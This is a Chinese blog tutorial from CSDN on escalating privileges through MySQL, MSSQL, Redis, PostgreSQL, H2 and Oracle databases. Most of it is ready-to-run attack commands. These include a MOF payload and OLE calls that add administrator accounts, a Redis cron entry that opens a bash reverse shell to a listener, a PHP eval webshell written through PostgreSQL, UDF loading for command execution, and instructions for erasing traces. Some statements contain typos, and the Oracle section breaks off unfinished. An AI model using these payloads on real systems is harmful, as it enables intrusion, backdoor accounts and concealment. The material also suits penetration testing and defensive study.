数据库提权

文章详细介绍了多种数据库的提权方法,包括MySQL的UDF和MOF提权,MSSQL的xp_cmdshell和OLE提权,以及REDIS、postgresql的相关提权策略,涉及到原理、条件和步骤,展示了数据库安全管理和渗透测试的重要方面。
摘要由CSDN通过智能技术生成

mysql提权

目录

mysql提权

MYSQL udf提权

原理

条件

步骤

MOF提权

原理

条件

步骤

mssql提权

mssql xp_cmdshell提权

原理

步骤

MSSQL Ole提权

步骤

MSSQL 沙盒提权

原理

步骤

各版本利用介绍:

MSSQL 代理执行计划任务提权

REDIS提权

REDIS 计划任务反弹shell

REDIS 写ssh公钥getshell

原理

步骤

REDIS 主从同步RCE

原理

步骤

postgresql 数据库提权

postgresql 写文件getshell

步骤

相关漏洞

postgresql CVE-2019-9193执行命令

postgresql udf提权

原理

步骤

H2提权

H2 命令执行

Oracle提权

oracle 调用java执行命令

原理

该过程用到的主要语句

该过程需要获取权限

步骤


MYSQL udf提权

原理

udf为User Defined Function用户定义函数,顾名思义,mysql允许用户自定义函数功能。主要方法是向MySQL的插件路径导入用户编写的dll文件,并调用dll文件中用户定义的函数,但是前提需要知晓MySQL管理员账号密码及插件路径有写入权限

条件

1.通过SQL注入获取MySQL密码hash值并破解 2\如果有webshell,可通过查找网站配置文件等获取账号密码 3\如插件路径无写入路径,也可通过webshell进行上传

步骤

1.由于5.1上下版本的MySQL的plugins路径不同,因此先获取MySQL版本号 select version(); 通过查询全局配置方式查看plugin路径 show variables like "%plugin%";

2.接下来查看文件权限目录配置

show variables like "%secure%";
secure_file_priv为NULL,表示MySQL无法导入导出文件
secure_file_priv为具体路径,表示该路径下允许导入导出文件
secure_file_priv没有值时,表示MySQL不限制文件导入导出
该值在MySQL的my.ini中配置

3.然后就是上传dll文件,dll可以在sqlmap的Sqlmap\data\udf\mysql目录取,windows为dll,linux为so文件,sqlmap自带的dll是加密后的,需用自带的Sqlmap\extra\cloak.py来解密

python cloak.py -d -i lib_mysqludf_sys.dll_

4.把相应的dll传入plugin目录后,可以执行sql语句进行创建自定义函数

create function sys_eval returns string soname "lib_mysqludf_sys.dll";
Sqlmap中的dll提供了以下函数:
sys_eval:执行任意命令,并将输出返回
sys_exec:执行任意命令,并将退出码返回
sys_get:获取一个环境变量
sys_set:创建或修改一个环境变量

5.执行我们定义的函数 select sys_eval('whoami');

6.最后就是清理痕迹,删除我们引入的函数,删除func表,删除dll文件及目录

drop function sys_eval; drop table func;

MOF提权

原理

mof是Windows系统c:/windows/system32/wbem/mof/目录下的一种托管对象格式文件,在win2008以下,它的作用是每隔5秒就会去监控进程创建和死亡。现在只要把我们精心构造的mof文件写入到上述目录,即可执行任意命令,因此该提权方式不限于MySQL提权

条件

MySQL利用mof提权需要写文件权限及secure-file-priv值为空

show variables like "%secure%";

步骤

1.将以下代码保存到mof扩展文件并写c:/windows/system32/wbem/mof/目录即可

#pragma namespace("\\\\.\\root\\subscription") 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
​
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 
​
instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 
注意第17行代码,即为执行的任意命令。除此之外也可以使用msf的
exploit/windows/mysql/mysql_mof模块直接反弹shell

mssql提权

mssql xp_cmdshell提权

原理

xp_cmdshell为扩展存储过程,它将命令字符串作为操作系统命令shell执行,并以文本方式所有输出,使用xp_cmdshell提权需要数据库dba权限

步骤

1.首先可以使用查询sysobjects表来查看xp cmdshell组件是否存在,返回1即为存在

select count(*) from master.dbo.sysobjects where xtype = 'x' andname = 'xp_cmdshell';

2.使用以下代码激活xp_cmdshell组件

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

3.使用xp_cmdshell执行命令

exec xp_cmdshell 'whoami';

4.最后是清理痕迹,把两项配置值还原为0

EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE; EXEC sp_configure 'show advanced options',0;RECONFIGURE;

MSSQL Ole提权

步骤

1.首先要开启存储过程 (该方式执行无回显,执行成功会返回0)

exec sp_configure 'show advanced options' ,1;RECONFIGURE; exec sp_configure 'Ole Automation Procedures' ,1;RECONFIGURE;

2\然后就是调用sp_oacreate和sp_oamethod进行执行命令

declard @cmd INT exec sp_oacreate 'wscript.shell', @cmd output; exec sp_oamethod @cmd , 'run' ,null, 'net user abc Qwe@123456 /add' ,'0','true';

3.最后就是恢复环境,清理痕迹:

exec sp_configure 'Ole Automation Procedures' ,0;RECONFIGURE; exec sp_configure 'show advanced options' ,0;RECONFIGURE;

MSSQL 沙盒提权

原理

沙盒模式是数据库的一种安全功能。在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的

步骤

1.首先前提要求是MSSQL需要有写注册表权限即xp_regwrite,写入注册表键值关闭沙盒

exec master .. xp_regwrite 'HKBY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines' , 'SandBoxMode' , 'REG_DWORD',0;

2.接下来要开启高级选项中的Ad Hoc Distributed Queries

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;

3.执行命令语句

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.md
b','select shell("whoami")');

4.清理痕迹

exec sp_configure 'Ad Hoc Distributed Queries',0;
reconfigure;
exec sp_configure 'show advanced options',0;
reconfigure;
各版本利用介绍:
  • Until SQL Server 2012需添加允许单进程权限:

EXEC sp_MSset_oledb_prop
N'Microsoft.ACE.OLEDB.12.0',N'AllowInProcess',1;EXEC
master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0' ,
N'AllowInProcess' , 1
  • SQL Server 2014 or later添加随即参数权限:

EXEC sp_MSset_oledb_prop
N'Microsoft.ACE.OLEDB.12.0' , N'DynamicParameters' , 1;EXEC
master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0' ,
N'DynamicParameters' , 1
  • win2003系统:c:\windows\system32\ias\ 目录下默认自带了 2 个 Access 数据库

文件 ias.mdb和dnary.mdb,,所以直接调用即可

  • Windows 2008 R2 默认无 Access 数据库文件, 需要自己上传, 或者用 UNC 路径加

载文件方能执行命令

  • SQL Server2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式

执行系统命令

MSSQL 代理执行计划任务提权

原理

MSSQL代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务

在 MSSQL中称为作业,前提条件需要SQLSERVERAGENT服务不在禁用状态

(Express版本的MSSQL无法启用SQLSERVERAGENT)

步骤

1.首先需要使用MSSQL启动SQLSERVERAGENT服务

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';

2.接下来使用msdb数据库创建计划任务job,执行whoami并把结果保存到c盘下job.txt中

use msdb
exec sp_delete_job null,"job"
exec sp_add_job 'job'
exec sp_add_jobstep null,'job',null,'1','cmdexec','cmd /c "whoami>c:/job.txt"
exec sp_add_jobserver null,'job',@@servername
exec sp_start_job 'job';

3.擦除痕迹,关闭服务

exec master.dbo.xp_servicecontrol 'stop','SQLSERVERAGENT';

REDIS提权

REDIS 计划任务反弹shell

原理

redis提权利用主要在于它具有写文件的权限,计划任务即是把键值内容写入到计划任务的文件,从而执行命令

步骤

1.首先在windows上使用ncat监听4444端口,当然也可以在kali上用nc监听

ncat -lvp 4444

2.连接到redis执行设置键x的值为反弹shell命令,设置导出目录为计划任务目录,设置导出文件名称为root,保存即可

/var/spool/cron/crontabs# redis-cli -h 192.168.122.151
set x "\n\n* * * * * bash -i >& /dev/tcp/192.168.122.1/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

3.ncat监听部分等候几秒钟就会收到反弹的shell

REDIS 写ssh公钥getshell

原理

原理也是基于文件的写入,先在数据库插入ssh公钥,然后写入到/root/.ssh/authorized_keys文件中,即可无密码登录ssh

步骤

1.这里使用xshell来实现,首先点击工具->用户密钥管理者->生成

2.一直默认点击下一步,直到用户密钥信息处,填写任意密码后点击下一步

3.接下来可以将生成的公钥复制或者保存到文件

4.然后就是把公钥写入到服务器

set x "\n\n ssh-rsa 公钥=\n\n"

5.最后就是直接用xshell进行连接,新建会话,在连接标签完善连接名、协议、主机、端口号等信息

6.点击左侧用户身份验证,在方法处选择Public key,用户名填写root,用户密钥下拉菜单会有之前创建好的公钥,并输入创建公钥时输入的密码

REDIS 主从同步RCE

原理

redis开启主从同步功能后,主库会使用ping check方式来测试redis从库是否在线,如果在线则将数据文件发送到从库

在redis 4.x之后,redis新增了模块功能,通过外部拓展,可以实现在redis中执行除自带命令以外的新命令,也就是在从库服务器上加载恶意so文件,就可以执行拓展命令了(适用版本4.x<=5.0.5)

步骤

该脚本可指定主库也就是目标redis以及从库地址,也可以自定义端口及恶意so文件,而且提供了两个方式,一种是交互式shell,另一种是反弹shell

脚本 --redis rogue server

postgresql 数据库提权

常用于各种软件的数据库 常见的如msf

postgresql 写文件getshell

步骤

1.使用docker搭建postgresql,首先拉取镜:docker pull postgresql

2.然后运行镜像,

docker run -it --name postgres --restart always -e
POSTGRES_PASSWORD= '123456' -e ALLOW_IP_RANGE=0.0.0.0/0 -p
5432:5432 -d postgres

3.使用navicat连接至postgresql服务,首先创建表,向表里写入一句话木马,然后复制到硬盘对应路径

create table pwn (t TEXT);
insert into pwn(t) values ('<?php @eval($_POST['cmd']);?>');
copy pwn (t) to '/tmp/1.php'
或者
copy (select '<?php ohoinfo();?>') to '/tmp/1.php'

4.进入docker查看已经写入tmp目录

docker exec -it 13 /bin/bash

相关漏洞
postgresql CVE-2019-9193执行命令

由于9.3增加一个”COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

postgresql udf提权

原理

postgresql的udf提权类似于mysql,同样写入一个恶意dll或so文件,引入命令执行 函数

步骤

1.首先就是把恶意so文件写入到目标服务器,可以把so文件分段写入表中,然后再写

入到硬盘,如何把文件分段呢,可以用强大的certutil

恶意文件在sqlmap/data/udf/postgresql自取,需要使用

python3 cloak.py -i lib_postgresqludf_sys.so_ -o pudf.so

2.使用certutil把pudf.so进行base64编码

certutil -encode pudf.so pudf-bs4.txt

3.接下来是把base64编码文件分段写入到表中,解码,写入到硬盘

CREATE TABLE testFile(data text);
SELECT lo_create(8675);
DELETE FROM pg_largeobject WHERE loid=8675;
INSERT INTO testFile(data) VALUES ('编码文件');
UPDATE testFile SET data=data || '编码文件';
INSERT INTO pg_argeobject VALUES (8675,0,DECODE((SELECT data FROM testFile),'base64'));
DELETE FROM testFile;
SELECT lo_export(8675,'/tmp/pudf.so');
SELECT lo_unlink(8675);

4.恶意文件已写入硬盘,接下来可以引入so文件提供的函数(函数类型参考mysql udf)

CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/pudf.so','sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUTIMMUTABLE

5.调用函数执行命令

select sys_eval('whoami');

H2提权

H2是一个Java编写的关系型数据库,它可以被嵌入Java应用程序中使用,或者作为一个单独的数据库服务器运行,因此该数据库出现注入就可以注入java代码

H2 命令执行

步骤

1.首先使用sqlmap识别到h2数据库

2.接下来可以通过数据库注入java代码创建一个命令执行函数

3.调用创建的cc83函数执行解析dnslog地址

4.dnslog成功接收到请求

Oracle提权

oracle 调用java执行命令

原理

oracle数据库是甲骨文公司的一款关系型数据库,它在渗透中主要利用方式是用一个oracle的存储过程去调用java类,再由java执行系统命令

该过程用到的主要语句

create or replace and compile java source named "OsUtil" as +<java代码> //加载java代码并编译

该过程需要获取权限
begin dbms_java.grant_permission(SYSTEM, SYS:java.io.FilePermission, <>,execute);end;
begin dbms_java.grant_permission(SYSTEM, SYS:java.lang.RuntimePermission,'writeFileDescriptor' , '');end;
begin dbms_java.grant_permission(SYSTEM, SYS:java.lang.RuntimePermission
步骤

1.首先可以在sqlplus进行试验,编写以下代码到oracle服务器/tmp/test.sql

2.使用@/tmp/test来执行sql文件

3.同样可以调用OSEXEC执行命令

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值